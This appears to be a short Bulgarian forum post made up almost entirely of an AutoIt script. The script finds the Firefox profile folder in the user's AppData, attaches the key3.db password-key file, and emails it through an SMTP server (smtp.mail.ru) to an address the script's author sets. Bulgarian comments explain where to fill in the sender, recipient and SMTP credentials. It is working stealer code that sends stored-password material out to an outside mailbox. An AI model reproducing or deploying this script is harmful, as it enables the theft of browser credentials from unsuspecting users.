Да пак е от това...
#Include <File.au3>
#Include <Array.au3>
$path = @AppDataDir & "\Mozilla\Firefox\Profiles\"
$FileList = _FileListToArray($path, "*.default", 2)
$path2 = $path & $FileList[1]
$str = "http://schemas.microsoft.com/cdo/configuration/"
$hMAIL = ObjCreate ("CDO.Message")
With $hMAIL
.From = "user@mail.ru" ;Имейла от когото изпращате
.To = "test@abv.bg" ;Имейла на когото ще изпращате
.Subject = "Otnosno" ;Относно
.TextBody = "Tekst v emaila" ;Текст на имейла
.AddAttachment ($path2 & "\key3.db") ;Файл за изпращане
EndWith
With $hMAIL.Configuration.Fields
.Item ($str & "sendusing") = 2
.Item ($str & "smtpserver") = "smtp.mail.ru" ;smtp сървар
.Item ($str & "smtpauthenticate") = 1
.Item ($str & "sendusername") = "user@mail.ru" ;Имейла на smtp сървара
.Item ($str & "sendpassword") = "pss" ;Парола на smtp сървара
.Item ($str & "smtpserverport") = 2525 ;Порт
.Update
EndWith
$hMAIL.Send